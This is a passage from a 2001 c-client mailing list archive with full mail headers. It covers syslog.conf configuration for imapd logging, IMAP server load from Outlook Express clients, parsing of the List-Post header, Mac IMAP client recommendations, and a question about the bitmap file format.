2001 10:22:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AHMRZ11164; Wed, 10 Oct 2001 10:22:27 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AGvEN25502 for ; Wed, 10 Oct 2001 09:57:14 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Oct 10 09:57:14 2001 -0700 Received: from tick.lymenet.org ([207.207.212.10]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AGvDQ03584 for ; Wed, 10 Oct 2001 09:57:13 -0700 Received: from lymenet.org (rdu57-85-031.nc.rr.com [66.57.85.31]) by tick.lymenet.org (8.11.6/8.11.6) with ESMTP id f9AGv0V09838; Wed, 10 Oct 2001 12:57:00 -0400 (EDT) Message-Id: <3BC47DDB.36C587F0@lymenet.org> Date: Wed, 10 Oct 2001 12:56:59 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Brown To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: Remedial syslogd question References: <000d01c1519e$5026fea0$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm not sure what UNIX you are running, but generally the entries like "authpriv", "remoteauth", "ftp.none" contain invalid facility codes and will either be ignored or produce a parsing error within syslogd. Also, unless you have some non-standard wacko UNIX, using things like "!imapd" and the like are completely invalid. The standard format of entries in syslog.conf is basically: facility.level OutputDestination The only "standard" facility codes are "user, kern, mail, daemon, auth, lpr, news, uucp, cron, and local0 through local7". Some UNIX implementations may allow others, but this is probably non-standard. You'll have to refer to your system's /usr/include/syslog.h file for clarification. The way the syslog "levels" work is that specifying a particular level will allow messages of that level *or higher* severity to pass through to the output file. The standard levels, in order of severity from high to low, are "emerg, alert, crit, err, warning, notice, info, debug, none". >From what I have observed, an unmodified C-client library produces syslog messages on the 'mail' facility, commonly on either 'debug' or 'info' levels. For instance, a typical IMAP connection produces: Oct 10 12:37:37 tick imapd[9631]: [ID 806292 mail.debug] imap service init from 10.207.212.5 Oct 10 12:37:37 tick imapd[9631]: [ID 234311 mail.info] Login user=mailuser host=mailclient [10.207.212.5] Oct 10 12:38:14 tick imapd[9631]: [ID 533678 mail.info] Logout user=mailuser host=mailclient [10.207.212.5] A similar IMAPS session looks like: Oct 10 12:21:03 mailhost imapd[9329]: [ID 298158 mail.debug] imaps SSL service init from 10.57.85.31 Oct 10 12:21:05 mailhost imapd[9329]: [ID 666661 mail.info] Authenticated user=tbrown host=mailclient [10.57.85.31] Oct 10 12:28:14 mailhost imapd[9329]: [ID 533678 mail.info] Logout user=tbrown host=mailclient [10.57.85.31] Therefore, to funnel just mail-related messages to /var/adm/mail.log, use the following entry in syslog.conf: mail.debug /var/adm/mail.log Also, get rid of the *.notice elsewhere in the file, or at least add "mail.none" to the line to block sendmail/IMAP messages as follows: *.notice;*.info;mail.none;kern.debug;mail.crit /var/log/system.log Note, however, that most editions of 'sendmail' also use the 'mail' facility by default, with various levels including 'info', 'warning', and 'notice'. This may not be a problem, however, as you will have all mail-related logging in one file, and this can be easily filtered as each program (sendmail, imapd, ipop3d, etc.) will tag its name on each line. -Tom "Scot W. Hetzel" wrote: > > From: "Mark Edwards" > > Sorry for the remedial nature of this question, but I haven't been able to > > find a good answer after some searching and manpage reading. > > > > I have this line in /etc/syslog.conf -- > > > > *.notice;*.info;authpriv,remoteauth,ftp.none;kern.debug;mail.crit > > /var/log/system.log > > > > > > The *.notice is causing imapd and ipopd messages to get logged to > > /var/log/system.log and I want them not to be. I am routing them to a > > separate file to keep things tidy. > > > > Can someone recommend a good way to configure syslogd to continue its > > *.notice behavior (this is the default with Mac OSX) with the exception of > > imapd-related .notice messages? > > > Try adding the following to syslog.conf: > > !imapd > *.* /var/log/imapd.log > !pop3d > *.* /var/log/pop3d.log > > Scot From pinedev@shivax2.cac.washington.edu Thu Oct 11 11:34:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Oct 2001 11:34:42 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BIYfF20780 for ; Thu, 11 Oct 2001 11:34:41 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Oct 11 11:34:35 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9BIYZL09363; Thu, 11 Oct 2001 11:34:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BIY3Z11910; Thu, 11 Oct 2001 11:34:03 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BIV7N76186 for ; Thu, 11 Oct 2001 11:31:07 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Oct 11 11:31:06 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9BIV6Q01406 for ; Thu, 11 Oct 2001 11:31:06 -0700 Received: from [192.168.1.101] ([66.122.112.171]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9BIUwb08326 for ; Thu, 11 Oct 2001 11:30:58 -0700 (PDT) Message-Id: Date: Thu, 11 Oct 2001 11:30:57 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: imapd + Outlook = In-Reply-To: <3BC47DDB.36C587F0@lymenet.org> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've got imapd running along pretty well now in conjunction with the default install of Sendmail on an OS X 10.0.4 machine with 512MB RAM. There are about 14 users that all connect with imap using Outlook Express Mac 5.02. These 14 accounts are set up on several machines in the office so that anyone can check their mail from any machine. Here's the strange part. If I set the client machines to check mail every 5 minutes, the server will periodically bog down and become unusable for 5 minutes or so, say every hour roughly. I'll even get the occasional memory error in my /var/log/system.log. If I disable regular checking in the clients and just have the clients sync with the server when someone looks at their account, everything runs smooth. I conclude that either imapd or the way Outlook is accessing imapd is causing horrendous memory problems. However, I don't see any direct evidence of a problem. If I check top while Outlook is set to check every 5 minutes, I see roughly 14 instances of imapd, which doesn't seem odd to me since there are 14 accounts. However, something is obviously sapping resources like hell, and when I disable checking every 5 minutes it goes away. Does this behavior sound familiar to anyone? I know Outlook sucks, but I honestly don't see any other viable alternative for Mac OS9 right now. Thanks! -- Mark Edwards Engineer Mr. Toad's San Francisco -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 11 13:16:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Oct 2001 13:16:17 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BKGGF27795 for ; Thu, 11 Oct 2001 13:16:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 11 13:12:37 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9BKCbL13547; Thu, 11 Oct 2001 13:12:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BKCI018758; Thu, 11 Oct 2001 13:12:18 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9BKAcN94632 for ; Thu, 11 Oct 2001 13:10:38 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 11 13:10:36 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9BKAau24553 for ; Thu, 11 Oct 2001 13:10:36 -0700 Received: from [192.168.1.101] ([66.122.112.171]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9BKAUE00492; Thu, 11 Oct 2001 13:10:30 -0700 (PDT) Message-Id: Date: Thu, 11 Oct 2001 13:10:29 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Cc: Tracy Ta Subject: Re: imapd + Outlook = In-Reply-To: <3BC5F336.A868D6FE@masirv.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well, this is an old Beige G3, and 512MB is pretty much the max. Shouldn't 512MB be enough, though? When I do top, this is what I see for each instace of imapd: 479 imapd 0.0% 0:00.12 1 24 15 144K 500K 572K 2.65M I can't imagine that 14 instaces of that should be maxing out my memory. I haven't tried what you're suggesting, but I did notice that the problem got worse when I went from one client checking all 14 accounts every 5 minutes to 2 clients checking all 14 accounts every 5 minutes. In case you're wondering, this isn't a unix mailbox format problem. I'm using .mbx format for everything. on 10/11/01 12:29 PM, Tracy Ta at tat@masirv.com wrote: > Try this , install more RAM. > Does it happen if you set 7 clients check mail every 5 minutes and > 7 clients check mail every 10 minutes ? > BR, > TTA -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Fri Oct 12 08:14:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 08:14:19 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFEHF24502 for ; Fri, 12 Oct 2001 08:14:18 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 12 08:14:04 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFE4H13392; Fri, 12 Oct 2001 08:14:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFDi917790; Fri, 12 Oct 2001 08:13:44 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFAhN119600 for ; Fri, 12 Oct 2001 08:10:43 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 08:10:42 2001 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFAfU06094 for ; Fri, 12 Oct 2001 08:10:41 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f9CFAdN26874 for ; Fri, 12 Oct 2001 17:10:39 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f9CFAdS04229 for ; Fri, 12 Oct 2001 17:10:39 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id RAA06915 ; Fri, 12 Oct 2001 17:10:38 +0200 Message-Id: <200110121510.RAA06915@seth.lpthe.jussieu.fr> Date: Fri, 12 Oct 2001 17:10:38 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: parsing arbitrary RFC822 headers? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm looking for a function in c-client which would allow me to parse List-Post header (RFC 2369). Although its format is fairly simple, it is not completely trivial as it can include RFC 822 comments and I'd prefer to reuse c-clients code instead of redoing it myself. Unfortunately, it can't be parsed using rfc822_parse_adrlist() because it doesn't like stuff. I guess I have to use rfc822_parse_word() and rfc822_skipws() but I'd appreciate a confirmation of it (of course, any example code would be most welcome as well!). Thanks! VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 12 08:51:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 08:51:29 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFpPF18914 for ; Fri, 12 Oct 2001 08:51:26 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 12 08:51:13 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFpDH14869; Fri, 12 Oct 2001 08:51:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFowD31348; Fri, 12 Oct 2001 08:50:58 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFoDN28424 for ; Fri, 12 Oct 2001 08:50:13 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 08:50:12 2001 -0700 Received: from mailrelay.netcologne.de (mailrelay.netcologne.de [194.8.194.96]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFoBw04963 for ; Fri, 12 Oct 2001 08:50:11 -0700 Received: from [0.0.0.0] (dial-195-14-250-52.netcologne.de [195.14.250.52]) by mailrelay.netcologne.de (8.11.6/8.11.6) with ESMTP id f9CFmT701199; Fri, 12 Oct 2001 17:48:29 +0200 (MEST) Message-Id: <1183726.1002908686@localhost> Date: Fri, 12 Oct 2001 17:44:46 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Cc: Mark Edwards Subject: Re: imapd + Outlook = In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Mark Edwards is rumored to have mumbled on=20 Donnerstag, 11. Oktober 2001 11:30 Uhr -0700 regarding imapd + Outlook =3D: > I know Outlook sucks, but I > honestly don't see any other viable alternative for Mac OS9 right now. Why? I don't want to evangelize, but there are alternatives... -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. From pinedev@shivax2.cac.washington.edu Fri Oct 12 08:51:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 08:51:54 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFprF27077 for ; Fri, 12 Oct 2001 08:51:53 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 12 08:51:49 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFpnL11141; Fri, 12 Oct 2001 08:51:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFpY017776; Fri, 12 Oct 2001 08:51:34 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CFogN105178 for ; Fri, 12 Oct 2001 08:50:42 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 08:50:41 2001 -0700 Received: from hotmail.com (f80.law9.hotmail.com [64.4.9.80]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CFofU17298 for ; Fri, 12 Oct 2001 08:50:41 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 12 Oct 2001 08:50:38 -0700 Received: from 202.71.145.70 by lw9fd.law9.hotmail.msn.com with HTTP; Fri, 12 Oct 2001 15:50:30 GMT Message-Id: Date: Fri, 12 Oct 2001 21:20:30 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nazer Mohideen" To: c-client@u.washington.edu Subject: Thanx for info and can any one say me how to opena *.bmp file via... Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [202.71.145.70] X-OriginalArrivalTime: 12 Oct 2001 15:50:38.0277 (UTC) FILETIME=[A3651F50:01C15335] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hy, I got the borland C compiler. it is nice. Ok now i need to open a *.bmp bitmap file in a C program or any other program. Can any one say the format of a bitmap file. This has significance because the new method of encryption is encrypting the passwords in a image. (ie) the last bit of each byte has the real data. changing the last bit would cause less change in the image. So one who traps the line would assume that it is a image. with regards, Nazer _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 12 09:30:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 09:30:37 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CGUaF25277 for ; Fri, 12 Oct 2001 09:30:36 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Oct 12 09:30:31 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CGUUL12692; Fri, 12 Oct 2001 09:30:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CGTr029792; Fri, 12 Oct 2001 09:29:53 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CGO7N61586 for ; Fri, 12 Oct 2001 09:24:07 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 12 09:17:10 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CGH9u00683 for ; Fri, 12 Oct 2001 09:17:09 -0700 Received: from localhost ([64.130.38.189]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9CGH7E03255 for ; Fri, 12 Oct 2001 09:17:07 -0700 (PDT) Message-Id: <95308C82-BF2C-11D5-BE71-000A278CC960@mrtoads.com> Date: Fri, 12 Oct 2001 09:17:07 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: <1183726.1002908686@localhost> Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v472) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Please evangelize! I tried accessing imap with Eudora on OS9 and it just crashed. Also, its multi-account functionality is pretty weak if you ask me. What is there that does a decent job of checking multiple imap accounts from a single interface? On Friday, October 12, 2001, at 08:44 AM, Sebastian Hagedorn wrote: > -- Mark Edwards is rumored to have mumbled on > Donnerstag, 11. Oktober 2001 11:30 Uhr -0700 regarding imapd + Outlook =: > >> I know Outlook sucks, but I >> honestly don't see any other viable alternative for Mac OS9 right now. > > Why? I don't want to evangelize, but there are alternatives... > -- Mark Edwards San Francisco, CA MarkEdwards@mac.com From pinedev@shivax2.cac.washington.edu Fri Oct 12 10:17:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 10:17:29 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CHHSF25085 for ; Fri, 12 Oct 2001 10:17:28 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 12 10:13:45 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CHDiH18160; Fri, 12 Oct 2001 10:13:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CHDUZ30124; Fri, 12 Oct 2001 10:13:30 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CHC8N125820 for ; Fri, 12 Oct 2001 10:12:08 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Oct 12 10:12:05 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (koma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CHC5u20569 for ; Fri, 12 Oct 2001 10:12:06 -0700 Message-Id: Date: Fri, 12 Oct 2001 10:10:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: parsing arbitrary RFC822 headers? In-Reply-To: <200110121510.RAA06915@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As you guessed, rfc822_parse_word() and especially rfc822_skipws() are probably the most help that c-client will give you on parsing the List-Post header. From pinedev@shivax2.cac.washington.edu Fri Oct 12 11:28:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 11:28:10 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CIS8F05338 for ; Fri, 12 Oct 2001 11:28:08 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Oct 12 11:27:36 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CIRZH21336; Fri, 12 Oct 2001 11:27:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CIR3Z22820; Fri, 12 Oct 2001 11:27:04 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CI85N53320 for ; Fri, 12 Oct 2001 11:08:07 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 12 10:53:48 2001 -0700 Received: from mailrelay.netcologne.de (mailrelay.netcologne.de [194.8.194.96]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CHrju03923 for ; Fri, 12 Oct 2001 10:53:46 -0700 Received: from [0.0.0.0] (dial-195-14-226-144.netcologne.de [195.14.226.144]) by mailrelay.netcologne.de (8.11.6/8.11.6) with ESMTP id f9CHpx707728; Fri, 12 Oct 2001 19:52:00 +0200 (MEST) Message-Id: <1644706.1002916369@localhost> Date: Fri, 12 Oct 2001 19:52:49 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: <95308C82-BF2C-11D5-BE71-000A278CC960@mrtoads.com> References: <95308C82-BF2C-11D5-BE71-000A278CC960@mrtoads.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Mark Edwards is rumored to have mumbled on Freitag,=20 12. Oktober 2001 9:17 Uhr -0700 regarding Re: imapd + Outlook =3D: > Please evangelize! I tried accessing imap with Eudora on OS9 and it just > crashed. Also, its multi-account functionality is pretty weak if you ask > me. What is there that does a decent job of checking multiple imap > accounts from a single interface? Well, since you've asked... my favorite IMAP client is Mulberry from=20 Cyrusoft (www.cyrusoft.com). It's actually the only GUI mailer I know that=20 gets IMAP right. The only disadvantages are that it's not free (but there=20 is a demo version) and that the UI is not very pretty. OE definitely looks=20 nicer... It takes some time to "get" how Mulberry works; it's not entirely=20 intuitive. However, time spent on learning Mulberry is time spent well.=20 It's more powerful than most other GUI mailers. Another plus is that the=20 author of Mulberry is very responsive to feature requests. Eudora Pro 5.1 seems to work OK with my IMAP servers, but I think that=20 Mozilla 0.9.4/Netscape 6.1 are probably the best other free options. Hope this helps... Greetings, Sebastian > On Friday, October 12, 2001, at 08:44 AM, Sebastian Hagedorn wrote: > >> -- Mark Edwards is rumored to have mumbled on >> Donnerstag, 11. Oktober 2001 11:30 Uhr -0700 regarding imapd + Outlook = =3D: >> >>> I know Outlook sucks, but I >>> honestly don't see any other viable alternative for Mac OS9 right now. >> >> Why? I don't want to evangelize, but there are alternatives... -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. From pinedev@shivax2.cac.washington.edu Fri Oct 12 11:30:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 11:30:23 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CIUMF14266 for ; Fri, 12 Oct 2001 11:30:22 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 12 11:28:16 2001 -0700 Received: from list4.u.washington.edu 